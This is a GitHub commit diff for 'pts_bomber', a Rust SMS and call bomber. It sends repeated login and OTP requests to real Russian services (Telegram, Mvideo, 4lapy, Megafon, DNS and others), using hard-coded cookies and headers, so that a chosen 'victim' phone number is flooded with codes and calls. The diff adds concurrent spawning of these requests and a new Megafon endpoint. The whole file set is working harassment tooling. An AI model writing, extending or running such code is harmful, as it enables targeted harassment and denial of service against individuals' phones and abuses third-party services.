Skip to content

Commit 7def6dc

Browse files
authored
Merge pull request #3 from Patysonchick/staging
Mini update 1.1.0
2 parents b5d49dc + 1741303 commit 7def6dc

File tree

6 files changed

+145
-90
lines changed

6 files changed

+145
-90
lines changed

Cargo.toml

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
[package]
22
name = "pts_bomber"
3-
version = "1.0.0"
3+
version = "1.1.0"
44
edition = "2021"
55

66
[dependencies]
77
reqwest = { version = "0.12.7", features = ["json", "cookies"] }
88
tokio = { version = "1.40.0", features = ["full"] }
9-
serde = { version = "1.0.209", features = ["derive"] }
9+
serde = { version = "1.0.210", features = ["derive"] }
1010
serde_json = "1.0.128"
1111
hardware-id = "0.3.0"

README.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -7,15 +7,15 @@ Telegram channel - [pts_bomber](https://t.me/pts_bomber)
77
### Sms
88
1. 4lapy
99
2. Mvideo
10-
3. CDEK
1110
### Service sms
1211
1. Telegram
1312
### Calls
1413
1. DNS
1514
2. Sunlight
1615

1716
## Roadmap
18-
* Optimize calling
17+
* ~~Make async attack~~
18+
* ~~Optimize calling~~
1919
* Add mobile operators services
2020
* Add more services
2121
* Make more user-friendly(GUI powered by [Tauri](https://tauri.app/)(when 2.0 released))

src/attack.rs

+33-4
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,40 @@
1-
use crate::services::{construct_services_list, BodyType, Service, ServiceType, Victim};
1+
use crate::services::{
2+
construct_call_services_list, construct_services_list, BodyType, Service, ServiceType, Victim,
3+
};
24
use reqwest::{Client, Method};
5+
use std::time::Duration;
36

7+
const CALL_DELAY: u8 = 15;
8+
9+
/// Вы бы знали как мне стыдно за такой колхозинг, но надеюсь это на время
410
pub async fn send(victim: Victim) -> Result<(), Box<dyn std::error::Error>> {
5-
let services = construct_services_list(victim);
11+
let mut s = Vec::new();
612

13+
let services = construct_services_list(victim.clone());
714
for service in services {
8-
send_single(service).await?;
15+
let t = tokio::spawn(async move {
16+
send_single(service).await.expect("");
17+
});
18+
s.push(t);
19+
}
20+
21+
let services = construct_call_services_list(victim);
22+
let t = tokio::spawn(async move {
23+
for service in services {
24+
for i in 0..CALL_DELAY {
25+
println!("Waiting {} seconds before calling", CALL_DELAY - i);
26+
27+
tokio::time::sleep(Duration::from_secs(1)).await;
28+
}
29+
println!();
30+
31+
send_single(service.clone()).await.expect("");
32+
}
33+
});
34+
s.push(t);
35+
36+
for i in s {
37+
i.await?;
938
}
1039

1140
Ok(())
@@ -22,7 +51,7 @@ async fn send_single(service: Service) -> Result<(), Box<dyn std::error::Error>>
2251
match service.service_type {
2352
ServiceType::Sms => println!("Sending SMS {}", service.name),
2453
ServiceType::Call => println!("Calling {}", service.name),
25-
ServiceType::ServiceSms => println!("Sending service SMS {}", service.name),
54+
ServiceType::ServiceMessage => println!("Sending service SMS {}", service.name),
2655
}
2756

2857
let mut res;

src/main.rs

+9-3
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ mod phone;
44
mod services;
55

66
use crate::attack::send;
7-
use crate::phone::{Country, Phone};
7+
use crate::phone::{Country, FormatterErrors, Phone};
88
use crate::services::Victim;
99
use std::io;
1010

@@ -16,8 +16,14 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
1616
let mut input = String::new();
1717
io::stdin().read_line(&mut input)?;
1818

19-
if let Ok(t) = Phone::new(input, Country::Ru) {
20-
break t;
19+
match Phone::new(input, Country::Ru) {
20+
Ok(t) => break t,
21+
Err(e) => match e {
22+
FormatterErrors::IncorrectPatter => {
23+
println!("Incorrect pattern\nNumber must be like 7 (9xx) xxx-xx-xx\n")
24+
}
25+
FormatterErrors::IncorrectLength => println!("Incorrect number length\n"),
26+
},
2127
}
2228
};
2329

src/phone.rs

+5-1
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ pub enum Country {
1313
#[allow(clippy::enum_variant_names)]
1414
#[derive(Debug)]
1515
pub enum FormatterTypes {
16+
Without7,
1617
WithPlus,
1718
WithPlusHyphen, // +7 *** ***-**-**
1819
WithPlusBracketsHyphen, // +7 (***) ***-**-**
@@ -61,11 +62,14 @@ impl Phone {
6162
pub fn format(&mut self, formatter: FormatterTypes) {
6263
match self.country {
6364
Country::Ru => match formatter {
65+
FormatterTypes::Without7 => {
66+
self.phone = self.phone[1..].to_string();
67+
}
6468
FormatterTypes::WithPlus => {
6569
let mut formatted = String::new();
6670

6771
formatted.push('+');
68-
formatted.push_str(&self.phone[0..11]);
72+
formatted.push_str(self.phone.as_str());
6973

7074
self.phone = formatted;
7175
}

src/services.rs

+94-78
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
use crate::phone::FormatterTypes::Without7;
12
use crate::phone::{Country, FormatterTypes::WithPlus, Phone};
23
use reqwest::header::HeaderMap;
34
use reqwest::Method;
@@ -14,11 +15,11 @@ pub struct Service {
1415
pub body: serde_json::Value,
1516
}
1617

17-
#[derive(Debug, Clone)]
18+
#[derive(Debug, Clone, PartialEq)]
1819
pub enum ServiceType {
1920
Sms,
2021
Call,
21-
ServiceSms,
22+
ServiceMessage,
2223
}
2324

2425
#[allow(clippy::upper_case_acronyms)]
@@ -37,31 +38,31 @@ pub struct Victim {
3738
pub surname: String,
3839
}
3940

40-
/*
41-
//
42-
{
43-
let mut service = Service {
44-
name: "".to_string(),
45-
service_type: ServiceType::,
46-
method: Method::,
47-
url: "".to_string(),
48-
headers: HeaderMap::new(),
49-
body_type: BodyType::,
50-
body: Default::default(),
51-
};
52-
53-
service.headers.insert("", r#""#.parse().unwrap());
54-
55-
let mut phone = victim.phone.clone();
56-
phone.format(WithPlus);
57-
service.body = json!({
58-
"phone": phone.phone
59-
});
60-
61-
services.push(service);
62-
}
63-
*/
41+
/// Example
42+
/// //
43+
/// {
44+
/// let mut service = Service {
45+
/// name: "".to_string(),
46+
/// service_type: ServiceType::,
47+
/// method: Method::,
48+
/// url: "".to_string(),
49+
/// headers: HeaderMap::new(),
50+
/// body_type: BodyType::,
51+
/// body: Default::default(),
52+
/// };
53+
///
54+
/// service.headers.insert("", r#""#.parse().unwrap());
55+
///
56+
/// let mut phone = victim.phone.clone();
57+
/// phone.format(WithPlus);
58+
/// service.body = json!({
59+
/// "phone": phone.phone
60+
/// });
61+
///
62+
/// services.push(service);
63+
/// }
6464

65+
/// List of SMS services and services messages
6566
pub fn construct_services_list(victim: Victim) -> Vec<Service> {
6667
let mut services = Vec::new();
6768

@@ -71,7 +72,7 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
7172
{
7273
let mut service = Service {
7374
name: "Telegram".to_string(),
74-
service_type: ServiceType::ServiceSms,
75+
service_type: ServiceType::ServiceMessage,
7576
method: Method::POST,
7677
url: "https://my.telegram.org/auth/send_password".to_string(),
7778
headers: HeaderMap::new(),
@@ -108,30 +109,6 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
108109

109110
services.push(service);
110111
}
111-
// DNS
112-
{
113-
let mut service = Service {
114-
name: "DNS".to_string(),
115-
service_type: ServiceType::Call,
116-
method: Method::POST,
117-
url: "https://www.dns-shop.ru/auth/auth/fast-authorization/".to_string(),
118-
headers: HeaderMap::new(),
119-
body_type: BodyType::Form,
120-
body: Default::default(),
121-
};
122-
123-
service.headers.insert("Cookie", r#"qrator_jsr=1723134943.891.bZA1mPLKscU7myr3-no9pgdc87rb1cc41j5c435122d4m4aee-00; qrator_ssid=1723134945.200.tB6sCNRMTxnS9mZT-th5o0b3bc8jr2ql6dc0ccp978iphttq5; qrator_jsid=1723134943.891.bZA1mPLKscU7myr3-k4tmm4n3g0v9ekubja8t83bea7frprd7; lang=ru; city_path=moscow; current_path=605bfdc517d7e9e23947448a9bf1ce16ac36b884434a3fdb10db053793c50392a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22current_path%22%3Bi%3A1%3Bs%3A115%3A%22%7B%22city%22%3A%2230b7c1f3-03fb-11dc-95ee-00151716f9f5%22%2C%22cityName%22%3A%22%5Cu041c%5Cu043e%5Cu0441%5Cu043a%5Cu0432%5Cu0430%22%2C%22method%22%3A%22manual%22%7D%22%3B%7D; phonesIdentV2=0c63b8e9-77d0-449f-b0dd-ec99e69c9dc6; cartUserCookieIdent_v3=1a84a07b671c1aecbf929fa9faafcbcb91ce57f6d1ea2adb6dcdce4cdbec3befa%3A2%3A%7Bi%3A0%3Bs%3A22%3A%22cartUserCookieIdent_v3%22%3Bi%3A1%3Bs%3A36%3A%2265b0aa3b-e0f6-3c7e-beae-4715bf8b306c%22%3B%7D; _ab_=%7B%22catalog-filter-title-test%22%3A%22GROUP_2%22%7D; rrpvid=560296951004103; _ga_FLS4JETDHW=GS1.1.1723134957.1.1.1723134991.26.0.1400768249; _ga=GA1.1.298649215.1723134957; rcuid=66b4f3eeee55c15e759d7a55; tmr_lvid=fff40a89d5b30007c58d61cc405ab33b; tmr_lvidTS=1723134960450; _ym_uid=1723134961314038164; _ym_d=1723134961; _ym_isad=2; _ym_visorc=b; domain_sid=Dqj17u3-29WrUNyaTzlrr%3A1723134962861; tmr_detect=0%7C1723134968561; dnsauth_csrf=c02db7507fd5c3a7acba66f204a2934353e7910cdbeb6fa0dd3b4e94f0694389a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22dnsauth_csrf%22%3Bi%3A1%3Bs%3A36%3A%220085e58d-a105-4e76-b118-2a7bf227969a%22%3B%7D"#.parse().unwrap());
124-
125-
let mut phone = victim.phone.clone();
126-
phone.format(WithPlus);
127-
service.body = json!({
128-
"FastAuthorizationLoginLoadForm[login]": phone.phone,
129-
"FastAuthorizationLoginLoadForm[token]" : "",
130-
"FastAuthorizationLoginLoadForm[isPhoneCall]": 1
131-
});
132-
133-
services.push(service);
134-
}
135112
// Mvideo
136113
{
137114
let mut service = Service {
@@ -215,30 +192,25 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
215192

216193
services.push(service);
217194
}
218-
// CDEK
195+
196+
// Operators
197+
// Megafon
219198
{
220199
let mut service = Service {
221-
name: "CDEK".to_string(),
200+
name: "Megafon".to_string(),
222201
service_type: ServiceType::Sms,
223202
method: Method::POST,
224-
url: "https://www.cdek.ru/api-site/auth/send-code/".to_string(),
203+
url: "https://lk.megafon.ru/api/auth/otp/request".to_string(),
225204
headers: HeaderMap::new(),
226-
body_type: BodyType::JSON,
205+
body_type: BodyType::Form,
227206
body: Default::default(),
228207
};
229208

230-
service
231-
.headers
232-
.insert("Host", r#"www.cdek.ru"#.parse().unwrap());
209+
service.headers.insert("User-Agent", r#"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0"#.parse().unwrap());
233210
service.headers.insert(
234-
"User-Agent",
235-
r#"Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0"#
236-
.parse()
237-
.unwrap(),
211+
"Accept",
212+
r#"application/json, text/plain, */*"#.parse().unwrap(),
238213
);
239-
service
240-
.headers
241-
.insert("Accept", r#"application/json"#.parse().unwrap());
242214
service.headers.insert(
243215
"Accept-Language",
244216
r#"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3"#.parse().unwrap(),
@@ -249,22 +221,32 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
249221
);
250222
service
251223
.headers
252-
.insert("Content-Type", r#"application/json"#.parse().unwrap());
224+
.insert("Referer", r#"https://lk.megafon.ru/login"#.parse().unwrap());
225+
service.headers.insert(
226+
"Content-Type",
227+
r#"application/x-www-form-urlencoded; charset=UTF-8"#
228+
.parse()
229+
.unwrap(),
230+
);
253231
service
254232
.headers
255-
.insert("Origin", r#"https://www.cdek.ru"#.parse().unwrap());
256-
service.headers.insert("DNT", r#"1"#.parse().unwrap());
257-
service.headers.insert("Sec-GPC", r#"1"#.parse().unwrap());
233+
.insert("X-App-Type", r#"react_lk"#.parse().unwrap());
258234
service
259235
.headers
260-
.insert("Connection", r#"keep-alive"#.parse().unwrap());
236+
.insert("X-Cabinet-Capabilities", r#"web-2020"#.parse().unwrap());
261237
service.headers.insert(
262-
"Referer",
263-
r#"https://www.cdek.ru/ru/?utm_referrer=https%3A%2F%2Fwww.google.com%2F"#
238+
"traceparent",
239+
r#"00-3c12254297d2b3c78b6b333820442716-c1abbf0182398532-01"#
264240
.parse()
265241
.unwrap(),
266242
);
267-
service.headers.insert("Cookie", r#"qrator_jsr=v2.0.1725453696.816.5db9c67c9BA4mON6|wDhYa3zodgygc0VC|HPwsvW9Zuv1XfCTjvV4tOWRTid+B/ueiRN0EgCam/CHTpFE4F0yTC8XPiudRXVSm4ORlmY50slwKLtAp1E5CKQA5olwrAhCr9FEI6vtV52o=-AbEZ5HAjGZF97yfQPTUx5bcyS7g=-00; qrator_jsid2=v2.0.1725453696.816.5db9c67c9BA4mON6|zSGcWWCA9EQz5GL6|nApVRY7ukbEXgupPcTFQ+GTJlCMZC2VjqrBRV0RitGnPYCHxFbSdSYke3e66Tq0kyxo6cKqU0Qox4xhaJ43bcHK99Imhepi40tIOA+qSgqMNAAmdO39S752QMJFugMx+2+2pcvWJ6E1P/FtKWTQ42w==-DgUM8iSbc2kCmEpwxWOGRqDq4eU=; cdek-stick=1725453698.852.1097792.944145|4d286599a6e893574f6bcc8bc0b1b325; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-09-04%2015%3A41%3A42%7C%7C%7Cep%3Dhttps%3A%2F%2Fwww.cdek.ru%2Fru%2F%3Futm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-09-04%2015%3A41%3A42%7C%7C%7Cep%3Dhttps%3A%2F%2Fwww.cdek.ru%2Fru%2F%3Futm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29; sbjs_udata=vst%3D1%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28X11%3B%20Linux%20x86_64%3B%20rv%3A129.0%29%20Gecko%2F20100101%20Firefox%2F129.0; sbjs_session=pgs%3D1%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwww.cdek.ru%2Fru%2F%3Futm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F; cpss=eyJ0b2tlbiI6InBoaWVZaWFzaDNpUnUzYWgifQ%3D%3D; advcake_track_id=5f4de0a0-2094-c568-fc22-93d9f4a0ec55; advcake_session_id=f0fd745c-81ed-ab5e-dced-c802b2c3f81c; cityid=1095; flomni_5d713233e8bc9e000b3ebfd2={%22userHash%22:%2207e1e570-c44c-4dae-95ad-345ec15c138c%22}; advcake_track_url=%3D20240902HkU1OkM3cOcCDZXujDrn9yl7qqKKSZy53mBDf9HsdF9D7G7%2BPVEhFmAeB%2B5dJ9O%2F90Omkr%2Brs%2FlkV9P89Bwk8DyzSD0Bgnos%2BE9eREMKdrcnYDp0CXowZBtN8GUs9Hu%2F9QQzc20jZS%2B1FGFGjxRN7JqsMGzIq%2Bqe8B7Mj8rRRx%2FeMoM6Skh2Xr3nMauaGZ1AFSct7KvIFvGHxs49otWCxsISL0YzRYx%2Br7ddCaenntt21j9RH9ah4k1Qp1rqaCvXd6peIicu7nntoIoC26610Ed8jIdfQ5Y%2BYPt3KYDM7CKqfJf8NJnYVul4MHFzCb4xJxstXjj%2FM5LaXjKswS2Mdw71E189tQjil%2B00TuJ2VNVBIrbuoIfCkSNwDg5CnVJ6pQzXuP%2BLP1I1EWxN3cLZu3LYOP94yRP57pgp8pAfwtjmZ%2FWdNIidwUbnM%2BlXaXLeeo21OafI5wYgsJCG7fL1bP2dNbn56gWXhqi1x92zk51BVZmgANkxOsJeh2CM0vS5CLoBN4kCwU0u2QeGt0uR6LJxULOrf%2B8pkfbYWXXOVrQar2M2nUZyft54AhGeJEVD357eRj83i3ezxhHu4ahS43bbzz71BgWVNaEzJVfIi8otc2pAJE3kCuP2wPmVkggqU6vwCdKpxseBu33gIhU5%2BVzAosR5xWxdCrf9i4aSxkBXynY2b1zoT2o%3D"#.parse().unwrap());
243+
service
244+
.headers
245+
.insert("Origin", r#"https://lk.megafon.ru"#.parse().unwrap());
246+
service
247+
.headers
248+
.insert("Connection", r#"keep-alive"#.parse().unwrap());
249+
service.headers.insert("Cookie", r#"LB-lk.megafon.ru=ffffffff0978c6a545525d5f4f58455e445a4a423660; page_load_start=1723118955914; DEVICE-ID=ce6fe18a-64e7-45b6-84c3-f9a3cae5588a; CSRF-TOKEN=0b193280-3bfa-4104-8084-f002febc4cf4; JSESSIONID=dc7806f8-cb02-49c4-a4aa-2bcf7a0e22c6; AUTOLOGIN-CHAIN-SESSION-KEY=8fb705f1-2e73-4984-86da-f3c858d90454; USER-REFERENCE-ID=7lBhADJeoRq2AeHmdIG2hw; _ym_uid=1723118949631111238; _ym_d=1723118949; _ym_isad=2; _ymab_param=VxcsX2bLdzwzxnUVPLAxUnBMRoW6E9LXybZoebjUAX2SKTHMD_x0N-AqRpdoT-KTpUrNs8ccvFAvi2egoTqL6umIzBA"#.parse().unwrap());
268250
service
269251
.headers
270252
.insert("Sec-Fetch-Dest", r#"empty"#.parse().unwrap());
@@ -276,15 +258,49 @@ pub fn construct_services_list(victim: Victim) -> Vec<Service> {
276258
.insert("Sec-Fetch-Site", r#"same-origin"#.parse().unwrap());
277259
service
278260
.headers
279-
.insert("host", r#"www.cdek.ru"#.parse().unwrap());
261+
.insert("Priority", r#"u=0"#.parse().unwrap());
262+
263+
let mut phone = victim.phone.clone();
264+
phone.format(Without7);
265+
service.body = json!({
266+
"login": phone.phone,
267+
"captchaReady": true
268+
});
269+
270+
services.push(service);
271+
}
272+
}
273+
}
274+
275+
services
276+
}
277+
278+
/// List of call services
279+
pub fn construct_call_services_list(victim: Victim) -> Vec<Service> {
280+
let mut services = Vec::new();
281+
282+
match victim.phone.country {
283+
Country::Ru => {
284+
// DNS
285+
{
286+
let mut service = Service {
287+
name: "DNS".to_string(),
288+
service_type: ServiceType::Call,
289+
method: Method::POST,
290+
url: "https://www.dns-shop.ru/auth/auth/fast-authorization/".to_string(),
291+
headers: HeaderMap::new(),
292+
body_type: BodyType::Form,
293+
body: Default::default(),
294+
};
295+
296+
service.headers.insert("Cookie", r#"qrator_jsr=1723134943.891.bZA1mPLKscU7myr3-no9pgdc87rb1cc41j5c435122d4m4aee-00; qrator_ssid=1723134945.200.tB6sCNRMTxnS9mZT-th5o0b3bc8jr2ql6dc0ccp978iphttq5; qrator_jsid=1723134943.891.bZA1mPLKscU7myr3-k4tmm4n3g0v9ekubja8t83bea7frprd7; lang=ru; city_path=moscow; current_path=605bfdc517d7e9e23947448a9bf1ce16ac36b884434a3fdb10db053793c50392a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22current_path%22%3Bi%3A1%3Bs%3A115%3A%22%7B%22city%22%3A%2230b7c1f3-03fb-11dc-95ee-00151716f9f5%22%2C%22cityName%22%3A%22%5Cu041c%5Cu043e%5Cu0441%5Cu043a%5Cu0432%5Cu0430%22%2C%22method%22%3A%22manual%22%7D%22%3B%7D; phonesIdentV2=0c63b8e9-77d0-449f-b0dd-ec99e69c9dc6; cartUserCookieIdent_v3=1a84a07b671c1aecbf929fa9faafcbcb91ce57f6d1ea2adb6dcdce4cdbec3befa%3A2%3A%7Bi%3A0%3Bs%3A22%3A%22cartUserCookieIdent_v3%22%3Bi%3A1%3Bs%3A36%3A%2265b0aa3b-e0f6-3c7e-beae-4715bf8b306c%22%3B%7D; _ab_=%7B%22catalog-filter-title-test%22%3A%22GROUP_2%22%7D; rrpvid=560296951004103; _ga_FLS4JETDHW=GS1.1.1723134957.1.1.1723134991.26.0.1400768249; _ga=GA1.1.298649215.1723134957; rcuid=66b4f3eeee55c15e759d7a55; tmr_lvid=fff40a89d5b30007c58d61cc405ab33b; tmr_lvidTS=1723134960450; _ym_uid=1723134961314038164; _ym_d=1723134961; _ym_isad=2; _ym_visorc=b; domain_sid=Dqj17u3-29WrUNyaTzlrr%3A1723134962861; tmr_detect=0%7C1723134968561; dnsauth_csrf=c02db7507fd5c3a7acba66f204a2934353e7910cdbeb6fa0dd3b4e94f0694389a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22dnsauth_csrf%22%3Bi%3A1%3Bs%3A36%3A%220085e58d-a105-4e76-b118-2a7bf227969a%22%3B%7D"#.parse().unwrap());
280297

281298
let mut phone = victim.phone.clone();
282299
phone.format(WithPlus);
283300
service.body = json!({
284-
"locale": "ru",
285-
"websiteId": "ru",
286-
"phone": phone.phone,
287-
"token": null
301+
"FastAuthorizationLoginLoadForm[login]": phone.phone,
302+
"FastAuthorizationLoginLoadForm[token]" : "",
303+
"FastAuthorizationLoginLoadForm[isPhoneCall]": 1
288304
});
289305

290306
services.push(service);

0 commit comments

Comments
 (0)